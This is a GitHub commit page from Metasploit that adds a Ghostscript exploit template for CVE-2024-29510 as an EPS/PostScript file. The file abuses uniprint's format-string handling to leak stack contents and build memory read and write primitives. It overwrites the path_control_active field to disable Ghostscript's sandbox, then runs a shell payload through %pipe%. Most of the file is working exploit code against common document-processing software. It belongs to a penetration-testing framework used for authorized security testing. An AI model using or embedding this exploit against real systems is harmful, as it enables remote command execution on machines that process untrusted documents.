Skip to content

Commit 9b7b1fd

Browse files
committed
Land rapid7#19313, Ghostscript Command Execution via Format String (CVE-2024-29510)
Merge branch 'land-19313' into upstream-master
2 parents b5d89f3 + 4d485ac commit 9b7b1fd

File tree

3 files changed

+582
-0
lines changed

3 files changed

+582
-0
lines changed
Lines changed: 297 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,297 @@
1+
%!PS-Adobe-3.0 EPSF-3.0
2+
%%Pages: 1
3+
%%BoundingBox: 36 36 576 756
4+
%%LanguageLevel: 1
5+
%%EndComments
6+
%%BeginProlog
7+
%%EndProlog
8+
9+
% Make sure to restore the original `setpagedevice` from userdict or systemdict
10+
% in case it has been redefined in another postscript file.
11+
% This happens with ImageMagick for example.
12+
userdict begin
13+
systemdict /setpagedevice known
14+
{
15+
/setpagedevice systemdict /setpagedevice get def
16+
}
17+
if
18+
end
19+
20+
% ====== Configuration ======
21+
22+
% Offset of `gp_file *out` on the stack
23+
/IdxOutPtr MSF_IDXOUTPTR def
24+
25+
26+
% ====== General Postscript utility functions ======
27+
28+
% from: https://github.com/scriptituk/pslutils/blob/master/string.ps
29+
/cat {
30+
exch
31+
dup length 2 index length add string
32+
dup dup 5 2 roll
33+
copy length exch putinterval
34+
} bind def
35+
36+
% from: https://rosettacode.org/wiki/Repeat_a_string#PostScript
37+
/times {
38+
dup length dup % rcount ostring olength olength
39+
4 3 roll % ostring olength olength rcount
40+
mul dup string % ostring olength flength fstring
41+
4 1 roll % fstring ostring olength flength
42+
1 sub 0 3 1 roll % fstring ostring 0 olength flength_minus_one
43+
{ % fstring ostring iter
44+
1 index 3 index % fstring ostring iter ostring fstring
45+
3 1 roll % fstring ostring fstring iter ostring
46+
putinterval % fstring ostring
47+
} for
48+
pop % fstring
49+
} def
50+
51+
% Printing helpers
52+
% /println { print (\012) print } bind def
53+
% /printnumln { =string cvs println } bind def
54+
55+
% ====== Start of exploit helper code ======
56+
57+
% Make a new tempfile but only save its path. This gives us a file path to read/write
58+
% which will exist as long as this script runs. We don't actually use the file object
59+
% (hence `pop`) because we're passing the path to uniprint and reopening it ourselves.
60+
/PathTempFile () (w+) .tempfile pop def
61+
62+
63+
% Convert hex string "4142DEADBEEF" to padded little-endian byte string <EFBEADDE42410000>
64+
% <HexStr> str_ptr_to_le_bytes <ByteStringLE>
65+
/str_ptr_to_le_bytes {
66+
% Convert hex string argument to Postscript string
67+
% using <DEADBEEF> notation
68+
/ArgBytes exch (<) exch (>) cat cat token pop exch pop def
69+
70+
% Prepare resulting string (`string` fills with zeros)
71+
/Res 8 string def
72+
73+
% For every byte in the input
74+
0 1 ArgBytes length 1 sub {
75+
/i exch def
76+
77+
% put byte at index (len(ArgBytes) - 1 - i)
78+
Res ArgBytes length 1 sub i sub ArgBytes i get put
79+
} for
80+
81+
Res % return
82+
} bind def
83+
84+
85+
% <StackString> <FmtString> do_uniprint <LeakedData>
86+
/do_uniprint {
87+
/FmtString exch def
88+
/StackString exch def
89+
90+
% Select uniprint device with our payload
91+
<<
92+
/OutputFile PathTempFile
93+
/OutputDevice /uniprint
94+
/upColorModel /DeviceCMYKgenerate
95+
/upRendering /FSCMYK32
96+
/upOutputFormat /Pcl
97+
/upOutputWidth 99999
98+
/upWriteComponentCommands {(x)(x)(x)(x)} % This is required, just put bogus strings
99+
/upYMoveCommand FmtString
100+
>>
101+
setpagedevice
102+
103+
% Manipulate the interpreter to put a recognizable piece of data on the stack
104+
(%%__) StackString cat .runstring
105+
106+
% Produce a page with some content to trigger uniprint logic
107+
newpath 1 1 moveto 1 2 lineto 1 setlinewidth stroke
108+
showpage
109+
110+
% Read back the written data
111+
/InFile PathTempFile (r) file def
112+
/LeakedData InFile 4096 string readstring pop def
113+
InFile closefile
114+
115+
LeakedData % return
116+
} bind def
117+
118+
119+
% get_index_of_controllable_stack <Idx>
120+
/get_index_of_controllable_stack {
121+
% A recognizable token on the stack to search for
122+
/SearchToken (ABABABAB) def
123+
124+
% Construct "1:%lx,2:%lx,3:%lx,...,400:%lx,"
125+
/FmtString 0 string 1 1 400 { 3 string cvs (:%lx,) cat cat } for def
126+
127+
SearchToken FmtString do_uniprint
128+
129+
% Search for ABABABAB => 4241424142414241 (assume LE)
130+
(4241424142414241) search {
131+
exch pop
132+
exch pop
133+
% <pre> is left
134+
135+
% Search for latest comma in <pre> to get e.g. `123:` as <post>
136+
(,) rsearch pop pop pop
137+
138+
% Search for colon and use <pre> to get `123`
139+
(:) search pop exch pop exch pop
140+
141+
% return as int
142+
cvi
143+
} {
144+
% (Could not find our data on the stack.. exiting) println
145+
quit
146+
} ifelse
147+
} bind def
148+
149+
150+
% <StackIdx> <AddrHex> write_to
151+
/write_to {
152+
/AddrHex exch str_ptr_to_le_bytes def % address to write to
153+
/StackIdx exch def % stack idx to use
154+
155+
/FmtString StackIdx 1 sub (%x) times (_%ln) cat def
156+
157+
AddrHex FmtString do_uniprint
158+
159+
pop % we don't care about formatted data
160+
} bind def
161+
162+
163+
% <StackIdx> read_ptr_at <PtrHexStr>
164+
/read_ptr_at {
165+
/StackIdx exch def % stack idx to use
166+
167+
/FmtString StackIdx 1 sub (%x) times (__%lx__) cat def
168+
169+
() FmtString do_uniprint
170+
171+
(__) search pop pop pop (__) search pop exch pop exch pop
172+
} bind def
173+
174+
175+
% num_bytes <= 9
176+
% <StackIdx> <PtrHex> <NumBytes> read_dereferenced_bytes_at <ResultAsMultipliedInt>
177+
/read_dereferenced_bytes_at {
178+
/NumBytes exch def
179+
/PtrHex exch def
180+
/PtrOct PtrHex str_ptr_to_le_bytes def % address to read from
181+
/StackIdx exch def % stack idx to use
182+
183+
/FmtString StackIdx 1 sub (%x) times (__%.) NumBytes 1 string cvs cat (s__) cat cat def
184+
185+
PtrOct FmtString do_uniprint
186+
187+
/Data exch (__) search pop pop pop (__) search pop exch pop exch pop def
188+
189+
% Check if we were able to read all bytes
190+
Data length NumBytes eq {
191+
% Yes we did! So return the integer conversion of the bytes
192+
0 % accumulator
193+
NumBytes 1 sub -1 0 {
194+
exch % <i> <accum>
195+
256 mul exch % <accum*256> <i>
196+
Data exch get % <accum*256> <Data[i]>
197+
add % <accum*256 + Data[i]>
198+
} for
199+
} {
200+
% We did not read all bytes, add a null byte and recurse on addr+1
201+
StackIdx 1 PtrHex ptr_add_offset NumBytes 1 sub read_dereferenced_bytes_at
202+
256 mul
203+
} ifelse
204+
} bind def
205+
206+
207+
% <StackIdx> <AddrHex> read_dereferenced_ptr_at <PtrHexStr>
208+
/read_dereferenced_ptr_at {
209+
% Read 6 bytes
210+
6 read_dereferenced_bytes_at
211+
212+
% Convert to hex string and return
213+
16 12 string cvrs
214+
} bind def
215+
216+
217+
% <Offset> <PtrHexStr> ptr_add_offset <PtrHexStr>
218+
/ptr_add_offset {
219+
/PtrHexStr exch def % hex string pointer
220+
/Offset exch def % integer to add
221+
222+
/PtrNum (16#) PtrHexStr cat cvi def
223+
224+
% base 16, string length 12
225+
PtrNum Offset add 16 12 string cvrs
226+
} bind def
227+
228+
229+
% () println
230+
231+
% ====== Start of exploit logic ======
232+
233+
234+
% Find out the index of the controllable bytes
235+
% This is around the 200-300 range but differs per binary/version
236+
/IdxStackControllable get_index_of_controllable_stack def
237+
% (Found controllable stack region at index: ) print IdxStackControllable printnumln
238+
239+
% Exploit steps:
240+
% - `gp_file *out` is at stack index `IdxOutPtr`.
241+
%
242+
% - Controllable data is at index `IdxStackControllable`.
243+
%
244+
% - We want to find out the address of:
245+
% out->memory->gs_lib_ctx->core->path_control_active
246+
% hence we need to dereference and add ofsets a few times
247+
%
248+
% - Once we have the address of `path_control_active`, we use
249+
% our write primitive to write an integer to its address - 3
250+
% such that the most significant bytes (zeros) of that integer
251+
% overwrite `path_control_active`, setting it to 0.
252+
%
253+
% - Finally, with `path_control_active` disabled, we can use
254+
% the built-in (normally sandboxed) `%pipe%` functionality to
255+
% run shell commands
256+
257+
258+
/PtrOut IdxOutPtr read_ptr_at def
259+
260+
% (out: 0x) PtrOut cat println
261+
262+
263+
% memory is at offset 144 in out
264+
/PtrOutOffset 144 PtrOut ptr_add_offset def
265+
/PtrMem IdxStackControllable PtrOutOffset read_dereferenced_ptr_at def
266+
267+
% (out->mem: 0x) PtrMem cat println
268+
269+
% gs_lib_ctx is at offset 208 in memory
270+
/PtrMemOffset 208 PtrMem ptr_add_offset def
271+
/PtrGsLibCtx IdxStackControllable PtrMemOffset read_dereferenced_ptr_at def
272+
273+
% (out->mem->gs_lib_ctx: 0x) PtrGsLibCtx cat println
274+
275+
% core is at offset 8 in gs_lib_ctx
276+
/PtrGsLibCtxOffset 8 PtrGsLibCtx ptr_add_offset def
277+
/PtrCore IdxStackControllable PtrGsLibCtxOffset read_dereferenced_ptr_at def
278+
279+
% (out->mem->gs_lib_ctx->core: 0x) PtrCore cat println
280+
281+
% path_control_active is at offset 156 in core
282+
/PtrPathControlActive 156 PtrCore ptr_add_offset def
283+
284+
% (out->mem->gs_lib_ctx->core->path_control_active: 0x) PtrPathControlActive cat println
285+
286+
% Subtract a bit from the address to make sure we write a null over the field
287+
/PtrTarget -3 PtrPathControlActive ptr_add_offset def
288+
289+
% And overwrite it!
290+
IdxStackControllable PtrTarget write_to
291+
292+
293+
% And now `path_control_active` == 0, so we can use %pipe%
294+
295+
(%pipe%MSF_PAYLOAD) (r) file
296+
297+
quit

0 commit comments

Comments
 (0)